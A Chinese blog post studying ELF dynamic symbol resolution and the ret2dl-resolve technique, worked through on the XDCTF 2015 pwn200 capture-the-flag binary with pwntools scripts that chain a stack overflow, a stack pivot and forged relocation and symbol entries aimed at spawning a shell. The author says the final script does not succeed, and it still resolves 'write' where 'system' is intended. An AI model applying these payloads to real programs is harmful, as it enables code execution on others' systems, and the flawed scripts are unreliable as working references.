dl_runtime_resolve 执行过程
参考链接:
1 2 3 4 5
| https://nocbtm.github.io/2020/02/24/ret2_dl_runtime_resolve/ https://blog.csdn.net/conansonic/article/details/54634142 https://sp4n9x.github.io/2020/08/15/ret2_dl_runtime_resolve%E8%AF%A6%E8%A7%A3/ http://blog.blackbird.wang/2021/09/20/dl-runtime-resolve%E8%B0%83%E8%AF%95%E4%BB%A5%E5%8F%8A%E6%94%BB%E5%87%BB%E6%80%9D%E8%B7%AF/ https://www.cnblogs.com/unr4v31/p/15168342.html
|
动态装载器将二进制文件以及依赖库加载到内存,该过程包含了对导入符号的解析。对导入符号的解析由 _dl_runtime_resolve
完成。_dl_runtime_resolve 有两个参数,分别为:
1 2 3
| link_map_obj:一个指向 link_map 结构体的指针。link_map 结构体表示一个已加载的共享对象的内部状态,包括基地址、名称、符号表等信息。
reloc_index:一个整数,表示重定位表(.rel.plt 或 .rel.dyn)中的索引。重定位表包含了符号重定位信息,用于指示哪些符号需要在运行时解析,以及它们在符号表中的位置。
|
重定位表相关知识
重定位表有两种类型:.rel
和 .rela
。这两种类型对应了不同的重定位条目格式:
.rel
:不包含附加的 addend 值的重定位条目。
.rela
:包含附加的 addend 值的重定位条目。
addend 值是一种附加的常数,用于计算重定位的最终地址。在 .rel
类型的重定位条目中,addend 值并不直接存储在重定位条目中,而是存储在需要重定位的指令或数据中。在 .rela
类型的重定位条目中 addend 值作为重定位条目的一部分显式存储。
重定位表有多个不同的段,比如 .rel.dyn
(用于动态链接的常规重定位表)和 .rel.plt
(用于 PLT 的重定位表)。
符号解析原理
Step1:当程序导入函数时,动态链接器在.dynstr
段中添加一个函数名称字符串。
Step2:在.dynsym
段中添加指向函数名称字符串的Elf32 Sym
结构体。
Step3:在.rel.plt
段中添加指向Elf32 Sym
的Elf32 Rel
结构体。
Step4:Elf32 Rel
的 r_offset 构成 GOT 表,保存在 .got.plt
中。
延迟绑定
.got
存放所有对于外部变量引用的地址,.got.plt
保存所有对于外部函数引用的地址,对于延迟绑定主要使用.got.plt
表。.got.plt
的前三项存放着特殊的地址引用:
1 2 3
| GOT[0]:保存 .dynamic 段的地址,动态链接器利用该地址提取动态链接相关的信息 GOT[1]:保存本模块的 ID GOT[2]:存放了指向 _dl_runtime_resolve 函数的地址,该函数用来解析共享库函数的实际符号地址
|
.plt
的通用结构如下:
PLT[0] 用于跳转到动态链接器,进行实际的符号解析和重定位(push GOT[1],link_map 模块的地址, jmp GOT[2])。
ret2dl-resolve
漏洞利用通常包含两个阶段:(1)通过信息泄露获得程序的内存布局;(2)进行实际的漏洞利用。然而,从程序中获得内存布局的方法并不总是可行的,且获得的被破坏的内存有时并不可靠
。于是有了 ret2dl-resolve,其利用 ELF 格式以及动态装载器,不需要进行信息泄露,就可以直接得到函数的位置并调用
。
原理
每个符号都是Elf32_Sym
结构体的实例,这些符号共同组成了.dynsym
段。导入符号的解析需要进行重定位,每个重定位项都是Elf32_Rel
结构体的实例,这些项组成.rel.plt
段(用于导入函数,无 attend)和.rel.dyn
段(用于导入全局变量,有 attend)。Elf32_Rel 中的 r_offset 用于保存解析后的符号地址写入内存的位置(绝对地址),r_info 的高位 3 字节用于标识该符号在.dynsym
段中的位置。
每个导入函数在 PLT 表中有一个条目,其第 1 条指令无条件跳转到对应 GOT 条目保存的地址处。而每个 GOT 条目在初始化时都默认指向对应 PLT 条目的第 2 条指令的位置,第 2 条指令的执行逻辑为:将导入函数的标识(Elf32_Rel
在 .rel.plt
段中的偏移)压栈然后跳转到 PLT0 执行。PLT0 的执行逻辑为:先将 GOT[1] 压栈,然后跳转到 GOT[2],也就是 _dl_runtime_resolve
。_dl_runtime_resolve
是使用汇编实现的。
Partial RELRO 指 .dynamic 段在内的段会被标识为只读。Full RELRO 指在 Partial RELRO 的基础上,禁用延迟绑定,即所有的导入符号在加载时就被解析,.got.plt
段(导入外部符号)被完全初始化为目标函数的地址,并标记为只读。于是有两个攻击场景:
- 关闭 RELRO 保护,使 .dynamic 段可写时。由于动态装载器是从
.dynamic
段的 DT_STRTAB 条目中来获取 .dynstr
段的地址,而 DT_STRTAB 的位置是已知的,且默认情况下可写,所以攻击者能够改写 DT_STRTAB 的内容,欺骗动态装载器,使它以为 .dynstr
在 .bss
上,同时在那里伪造一个假的字符串表。当动态装载器尝试解析 printf
时就会使用不同的基地址来寻找函数名,最终执行的是 execve
。
- 开启 Partial RELRO 保护,使 .dynamic 段不可写时。
_dl_runtime_resolve
的第二个参数 reloc_index
对应 Elf32_Rel 在 .rel.plt
段中的偏移,动态装载器将偏移加上 .rel.plt
的基地址来得到目标 Elf_Rel
的内存地址。当这个内存地址落在 .bss
段中时,攻击者就可以伪造一个 Elf32_Rel,使 r_offset 是一个可写的内存地址且将解析后的函数地址写在那里。
XDCTF 2015: pwn200
Step1:题目环境构建。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| #include <unistd.h> #include <stdio.h> #include <string.h>
void vuln() { char buf[100]; setbuf(stdin, buf); read(0, buf, 256); }
int main() { char buf[100] = "Welcome to XDCTF2015~!\n"; setbuf(stdout, buf); write(1, buf, strlen(buf)); vuln(); return 0; }
|
Step2:找漏洞点。很容易找到有栈溢出。
Step3:由于程序开了 Partial RELRO,我们可以从 ret2dl-resolve 的方面考虑问题。思路是:
1 2 3 4 5 6
| (1)利用栈溢出控制执行流,调用 read 函数将下一阶段的 payload 读到 .bss 段上,然后用 stack pivot 将栈转移到 .bss 段。 (2)从调用 write(1, "/bin/sh", 7) 的第二阶段 payload 开始,一步步将其改造成 ret2dl-resolve 的 payload,最终目的是实现调用 system("/bin/sh")。 (a)模拟 write@plt 执行的效果,即先将 reloc_index 压栈,再跳转到 PLT0。 (b)在 .bss 段上伪造 Elf32_Rel。其中,r_offset 设置为 write@got,表示将函数解析后的内存地址存放到该位置。r_info 则照搬,设置为 0x607,动态加载器会通过这个值找到对应的 Elf32_Sym。相应地 reloc_index 也要调整为 fake_reloc 相对于 .rel.plt 段的偏移。 (c)在 .bss 上伪造 Elf32_Sym。动态加载器会通过 st_name 找到 .dynstr 段中的函数名字符串 "write"。fake_reloc 也要做调整,r_info 可以通过 r_sym 和 r_type 计算得出。其中,r_sym 是 Elf32_Sym 相对于 .dynsym 段的下标偏移,r_type 则照搬 R_386_JUMP_SLOT 的值 0x7。 (d)在 .bss 段上伪造 .dynstr,也就是放上 "write" 字符串。调整 fake_sym 的 st_name 指向伪造的函数名字符串,然后还可以通过 st_bind 和 st_type 来计算 st_info。
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| elf = ELF("./pwn200") read_plt = elf.plt['read'] bss_addr = elf.get_section_by_name('.bss').header.sh_addr + 0x500 pppr_addr = 0x08049351 pop_ebp_addr = 0x08049353 leave_addr = 0x08049165
payload1 = b"A" * (108 + 4) payload1 += p32(read_plt) payload1 += p32(pppr_addr) payload1 += p32(0) + p32(bss_addr) + p32(100) payload1 += p32(pop_ebp_addr) payload1 += p32(bss_addr) payload1 += p32(leave_addr)
|
1 2 3 4 5 6 7 8
| payload2 = b"AAAA" payload2 += p32(write_plt) payload2 += b"CCCC" payload2 += p32(1) + p32(bss_addr + 80) + p32(len(b"/bin/sh")) payload2 += b"A" * (80 - len(payload2)) payload2 += b"/bin/sh\x00" payload2 += b"A" * (100 - len(payload2))
|
之后,对(2)的脚本做修改,以模拟 write_plt 的执行效果,最终目的是执行 system。
1 2 3 4 5 6 7 8 9 10 11 12
| plt_0 = elf.get_section_by_name('plt').header.sh_addr reloc_index = 0x20
payload2 = b"AAAA" payload2 += p32(plt_0) payload2 += p32(reloc_index) payload2 += b"CCCC" payload2 += p32(1) + p32(bss_addr + 80) + p32(len(b"/bin/sh")) payload2 += b"A" * (80 - len(payload2)) payload2 += b"/bin/sh\x00" payload2 += b"A" * (100 - len(payload2))
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| plt_0 = elf.get_section_by_name('plt').header.sh_addr reloc_index = bss_addr + 28 - rel_plt write_got = 0x0 r_info = 0x607
fake_reloc = p32(write_got) + p32(r_info)
payload2 = b"AAAA" payload2 += p32(plt_0) payload2 += p32(reloc_index) payload2 += b"CCCC" payload2 += p32(1) + p32(bss_addr + 80) + p32(len(b"/bin/sh")) payload2 += fake_reloc payload2 += b"A" * (80 - len(payload2)) payload2 += b"/bin/sh\x00" payload2 += b"A" * (100 - len(payload2))
|
(2)(b)中,r_info 的获得途径为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
|
plt_0 = elf.get_section_by_name('plt').header.sh_addr reloc_index = bss_addr + 28 - rel_plt write_got = 0x0 r_sym = (bss_addr + 40 - dynsym) / 0x10 r_type = 0x7 r_info = (r_sym << 8) + (r_type & 0xff)
fake_reloc = p32(write_got) + p32(r_info) fake_sym = p32(0x4c) + p32(0) + p32(0) + p32(0x12)
payload2 = b"AAAA" payload2 += p32(plt_0) payload2 += p32(reloc_index) payload2 += b"CCCC" payload2 += p32(1) + p32(bss_addr + 80) + p32(len(b"/bin/sh")) payload2 += fake_reloc payload2 += b"AAAA" payload2 += fake_sym payload2 += b"A" * (80 - len(payload2)) payload2 += b"/bin/sh\x00" payload2 += b"A" * (100-len(payload2))
|
(2)(c)中,可以查看 write 的 Elf32_sym,从而进行伪造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| plt_0 = elf.get_section_by_name('plt').header.sh_addr reloc_index = bss_addr + 28 - rel_plt
write_got = 0x0 r_sym = (bss_addr + 40 - dynsym) / 0x10 r_type = 0x7 r_info = (r_sym << 8) + (r_type & 0xff) fake_reloc = p32(write_got) + p32(r_info)
st_name = bss_addr + 56 - dynstr st_bind = 0x1 st_type = 0x2 st_info = (st_bind << 4) + (st_type & 0xf) fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
payload2 = b"AAAA" payload2 += p32(plt_0) payload2 += p32(reloc_index) payload2 += b"CCCC" payload2 += p32(1) + p32(bss_addr + 80) + p32(len(b"/bin/sh")) payload2 += fake_reloc payload2 += b"AAAA" payload2 += fake_sym payload2 += b"write\x00" payload2 += b"A" * (80 - len(payload2)) payload2 += b"/bin/sh\x00" payload2 += b"A" * (100-len(payload2))
|
Step4:直接上脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import *
elf = ELF("./pwn200") io = process('./pwn200')
write_got = elf.got['write'] read_plt = elf.plt['read']
plt_0 = elf.get_section_by_name('.plt').header.sh_addr rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr dynsym = elf.get_section_by_name('.dynsym').header.sh_addr dynstr = elf.get_section_by_name('.dynstr').header.sh_addr bss_addr = elf.get_section_by_name('.bss').header.sh_addr + 0x500
pppr_addr = 0x08049351 pop_ebp_addr = 0x08049353 leave_addr = 0x08049165
def stack_pivot(): payload1 = b"A" * (108 + 4) payload1 += p32(read_plt) payload1 += p32(pppr_addr) payload1 += p32(0) + p32(bss_addr) + p32(100) payload1 += p32(pop_ebp_addr) payload1 += p32(bss_addr) payload1 += p32(leave_addr) io.send(payload1)
def pwn(): reloc_index = bss_addr + 28 - rel_plt r_sym = (bss_addr + 40 - dynsym) // 0x10 r_type = 0x7 r_info = (r_sym << 8) + (r_type & 0xff) fake_reloc = p32(write_got) + p32(r_info) st_name = bss_addr + 56 - dynstr st_bind = 0x1 st_type = 0x2 st_info = (st_bind << 4) + (st_type & 0xf) fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info) payload2 = b"AAAA" payload2 += p32(plt_0) payload2 += p32(reloc_index) payload2 += b"CCCC" payload2 += p32(1) + p32(bss_addr + 80) + p32(len(b"/bin/sh")) payload2 += fake_reloc payload2 += b"AAAA" payload2 += fake_sym payload2 += b"write\x00" payload2 += b"A" * (80 - len(payload2)) payload2 += b"/bin/sh\x00" payload2 += b"A" * (100 - len(payload2)) io.sendline(payload2) io.interactive() if __name__ == "__main__": stack_pivot() pwn()
|
但是一直不成功,直到(2)的脚本有大概 1/7 的成功率,加入 p32(plt_0)、p32(reloc_index) 就一直不行,懒得调了。